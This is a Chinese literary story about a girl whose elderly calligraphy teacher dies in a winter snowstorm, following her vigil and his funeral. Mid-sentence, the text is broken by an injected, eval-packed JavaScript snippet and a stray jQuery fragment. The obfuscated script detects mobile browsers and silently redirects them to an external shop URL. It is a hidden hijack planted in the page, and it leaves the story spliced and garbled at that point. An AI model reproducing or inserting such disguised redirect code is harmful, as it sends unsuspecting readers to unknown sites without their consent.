腊月的雪下得凶。
张清站在窗前，看着外面的世界一点一点被白色吞没。厂区的屋顶矮房、操场上的单杠、远处冒着白烟的烟囱，统统被这场雪盖住了。雪片还在落，一刻不停，天地间白茫茫一片，分不清哪里是云哪里是地。
放了寒假，本该高兴的事。可张清心里总不踏实。周伯年已经好几天没出门了，上回去的时候，老人躺在床上，连翻身都吃力。咳的声音从隔壁传来，一阵一阵的，压得很低，像是怕惊动谁。
她想去看，可雪太大，出不了门。
第一天，雪埋到了脚踝深。张清踩着雪走到巷口，被风刮了回来。巷口的老槐树被雪压得弯了腰，枝条在风里呜呜响。风灌进袖口，冻得她打了个哆嗦，只好转身往回走。
第二天，雪停了，可路上全是冰。厂区的人都在扫雪，铲子磕在冻土上，发出当当的声响。张清的父亲也去扫了，让她待在家里。她站在门口，看见远处周伯年家的方向，屋顶上积着厚厚的雪，安静得不似有人住。
第三天，雪又开始下了。
那天傍晚，张清正在屋里写作业，听见外面有人喊。
“老张家的，你女儿在不在？”
是邻居老刘的声音。
张清父亲开了门。老刘站在雪地里，头上身上全是雪，脸色不太好看。
“怎么了？”父亲问。
“周老爷子——”老刘喘了口气，“不行了。周家老太太让我来喊人，说要见张家丫头一面。”
张清从屋里冲出来的时候，听见父亲在身后喊她名字。她没应，只管往外跑。
雪打在脸上，疼。风灌进领口，冷。张清跑得飞快，脚下的雪被踩得咯吱响。她记得那条道——穿过厂区的大院，绕过锅炉房，再走一条窄巷，就到了周伯年家。
跑到一半，摔了一跤。膝盖磕在冻土上，疼得发麻。她爬起来，继续跑。没跑几步，又摔了。这一跤摔得重，整个人滚进了道边的雪堆里，棉袄里灌满了雪。她从雪堆里爬出来，喘着粗气，手脚都冻麻了。
可她没停。
跑到周伯年家门口时，天已经黑了。门口停着几辆自行车，屋里的灯亮着，窗户上透出人影。张清站在门外，听见里面有说话声，都是陌生的老人声音。
她推开门。
屋里挤满了人。都是中老年人，有几个张清认得，是周伯年的学生，以前在文化站见过。他们站在床边，脸上的表情让张清心里一沉。
床铺靠墙，周伯年躺在上面。
老人瘦得只剩一把骨头，脸颊凹陷下去，颧骨高高突起。眼睛半睁着，浑浊的眸子对着天花板，不知在看什么。嘴巴轻轻张开，胸口的被子随着呼吸一起一伏，那起伏越来越浅，越来越慢。床头的柜子上放着几只药碗，散发出一股苦涩的味道，盖过了屋里原本的墨香。
张清挤到床边。有人拍了拍她的肩膀，没说话。
周伯年的老伴坐在床的另一侧，拉着老人的手，眼眶通红。看见张清来了，她站起来，让出位置。
“伯年，老张家的孩子来了。”她俯身，在老人耳边说。
周伯年的眼珠动了一下。很慢，很慢，似要把全部力气都使出来。他的眼睛转向张清，浑浊的眼睛里有什么东西亮了一下，又暗了下去。
“你来了。”
声音轻得几乎听不见，似从很深很深的地方飘出来的。
张清点头。她想说“周伯年”，可喉咙被什么堵住了，一个字都说不出来。
周伯年伸出手。
那只手枯瘦如柴，皮肤皱巴巴地贴在骨头上，指节突出，青筋蜿蜒。张清接过来，握住了。
冰凉。那只手已经没有温度了。
屋里静得可怕。几个学生站在一旁，低头不语。周伯年的老伴背过身去，肩膀轻轻颤抖。
“你叫张清。”周伯年说。不是问句，是肯定句。
张清又点头。
“你的字，比你爷爷那辈……走得远。”
每个字都似从牙缝里挤出来的，用尽了老人全身的力气。
张清握紧那只手。她感觉到那只手在她掌心里轻轻动了一下，似想回握，又似已经没有力气了。
“你去吧。”周伯年说，眼睛慢慢闭上了，“写你该写的。”
这是周伯年留给张清的最后一句话。
然后他闭上眼睛，再也没有睁开。
屋里响起压抑的哭声。周伯年的老伴趴在床沿上，握着那只已经没有温度的手，哭得说不出话。几个学生站成一排，默默低着头，有人开始抹眼泪。
张清站在床边，手里还握着那只手。她没有哭。
窗外，雪还在下。
那天夜里，周伯年在睡梦中走了。
消息传出来的时候，张清已经回了家。她坐在书桌前，面前摊着一张宣纸，上面什么字都没有。她坐了很久。父亲进来过一次，在门口站了一会儿，又出去了。
雪落了一夜，把整个厂区埋得严严实实。第二天早上，张清透过窗户往外看，天地一片白，分不清哪里是路，哪里是墙。
她想起周伯年说过的话。
“远。”
那是老人教她的最后一个字。
她低下头，看着空白的宣纸。笔就在手边，砚台里的墨已经干了，可她不想动。
窗外传来扫雪的声音，沙沙的，似有人在雪地里走。
她忽然想起，有一次她问周伯年：“您写了这么多年字，最喜欢哪个字？”
老人想了想，说：“远。”
“为什么？”
“因为它总在前面。”老人当时说这话的时候，眼睛里有什么东西闪了一下，“字写得再好，也永远有比你写得更好的人在前面。知道这一点，人就不会骄傲。”
那时候她不懂。
现在，她隐约懂了一点。
第二天下午，张清跟着父亲去周伯年家。
灵堂已经布置好了。周伯年的遗照挂在正中间，是几年前拍的，老人坐在书桌前，面前摆着笔墨，旁边是一摞书。眼睛看着镜头，嘴角带着一点笑，很和善的样子。
张清站在遗照前，看了很久。
原来老人的眉毛是白的，眉头有一颗小小的痣。原来老人的耳朵垂很大，老人说这是有福的相。原来老人的下巴上有一道疤，是年轻时候割麦子不小心划伤的。
她以前都不知道。
有人递给她一炷香。她接过来，跪下，磕头。额头碰在硬邦邦的水泥地上，疼。可她没动，跪了很久才起来。
周伯年的老伴看见她，拉着她的手，哭着说：“孩子，你周伯年走之前，一直念叨你。他说，你是好孩子，有出息。”
张清嗯了一声。她不知道该说什么。
那天晚上，张清没有回家。她留在灵堂里守夜。
灵堂里很安静，只有蜡烛烧得噼啪响，映得老人的遗照忽明忽暗。空气里弥漫着香烛的味道，混着隔壁飘来的饭菜香，是谁家在吃晚饭。
旁边坐着周伯年的一个学生，姓王，五十多岁，以前在文化馆工作。王老师看见张清一直盯着遗照看，叹了口气。
“你师父是个好人。”他说。
张清愣了一下：“我师父？”
“周老师。他以前收过几个学生，都是成年人。你是他最后一个学生，也是最小的。”王老师说，“他常提起你，说你悟性高，有灵气。”
张清没说话。
“你知道周老师为什么收你吗？”王老
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17809221|210771||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
师问。
张清摇头。
“他说，你跟他年轻时候一样。”王老师的声音压得很低，“看见墨就走不动道。”
张清愣住了。
她想起第一次见周伯年的情景。那时候她才十岁，跟着父亲去文化站办事，路过一间屋子，看见里面有个老人在写字。她站在门口看了很久，老人写完了，抬头看见她，问：“喜欢？”
她点头。
老人笑了，说：“进来看看。”
那是他们第一次说话。
原来老人一直记得。
王老师又叹了口气：“周老师这辈子，就喜欢写字一件事。他说，人这一辈子，能把一件事做好，就够了。”
张清嗯了一声。
蜡烛的光映在她脸上，明灭不定。
她看着老人的遗照，看着那张和善的脸，忽然想起周伯年教她写字时的样子，老人坐在她旁边，手里握着笔，一笔一划地给她示范，嘴里念叨着：“慢一点，不要急。写字这件事，最忌讳的就是急。”
她低下头，盯着地上的青砖。
地砖冰凉，寒气从脚底往上冒。
她没有动，就这样坐着，一直到天亮。
第三天，是出殡的日子。
天还没亮，张清就起来了。她帮着抬花圈、搬纸钱、招呼来客，忙得脚不沾地。
出殡的队伍很长，从周伯年家门口一直排到厂区大门。走在最前面的是抬棺的八个壮汉，棺材上盖着红布，红布上绑着一只大公鸡。公鸡打鸣了，队伍开始移动。
张清走在队伍中间，手里捧着老人的遗照。
遗照是黑白的，老人坐在书桌前，面前摆着笔墨。照片有些旧了，边角都卷起来了。
她捧着遗照，一步一步往前走。
路很长，雪还没化尽，有些地方结了冰，踩上去滑滑的。她摔了一跤，爬起来，继续走。又摔了一跤，再爬起来。
有人想过来扶她，她摆摆手，不让。
她就那样摔摔打打地走完了全程，到了火葬场，膝盖上全是泥，手也冻麻了。
火化的时候，她站在门外，看着烟囱里冒出的白烟，一言不发。
烟飘得很高，飘过了火葬场的屋顶，飘进了灰白色的天空里。
她不知道老人在那里，还是已经去了别处。
骨灰盒很轻，比她想象的轻得多。
她把骨灰盒捧在手里，觉得轻飘飘的，像没有重量一样。
回家的路上，她一直捧着那个盒子，一刻也没有放下。
车窗外，雪已经化得差不多了，露出下面的泥地和枯草。远处的麦田还是灰扑扑的，没有一点绿意。
她把骨灰盒抱在怀里，看着窗外的景色，不知在想什么。
到了家，她把骨灰盒交给周伯年的侄子，然后回了自己家。
母亲给她热了饭，她吃了几口，就回屋了。
她躺在床上，盯着天花板，一动不动。
窗外的天渐渐黑了，房间里暗了下来。
她没有开灯。
就这样躺着，躺了很久很久。
后来，她睡着了。
梦里，她又看见了周伯年。
老人站在一片白茫茫的雪地里，手里握着笔，正在写字。她走过去，想看清楚老人写的是什么，可怎么也看不清。
她问：“周伯年，您在写什么？”
老人没回答，只是一直写，一直写。
然后她醒了。
窗外已经发白，远处传来鸡叫声。
她躺在床上，盯着天花板，想了很久。
老人走了。
可日子还得过下去。
她翻了个身，把脸埋进枕头里，闭上了眼睛。